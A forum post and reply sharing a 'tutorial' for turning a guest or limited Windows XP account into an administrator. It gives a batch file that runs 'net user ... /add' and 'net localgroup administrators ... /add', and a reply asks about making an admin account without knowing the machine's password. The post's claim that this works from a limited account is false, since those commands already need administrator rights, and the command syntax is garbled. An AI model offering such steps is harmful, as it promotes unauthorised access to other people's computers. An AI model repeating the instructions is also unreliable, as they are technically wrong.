Originally posted by sergionunes
Hi,
These steps are very simple and basic but i want to share anyway...
Step One:
Enter the computer with a guest account (or limited user)
then open Notepad.
it and paste it. (without the *** of course)
************************************
@ echo off
001 004 net user / add
001 net localgroup administrators / add
************************************
Modify the following words: 001 and 004
001 in place: your username
and
004 put in your password
Now save as. Bat
and run it
ready after this log off and switch user logging in with their new privileges "Administrator!"
Note : Tested in Windows XP
Whoa! Going old school with xp

Nice tut, have you tried to create a admin account through CMD if you don't know the password to the computer? It would be an alternative if guest account is not available.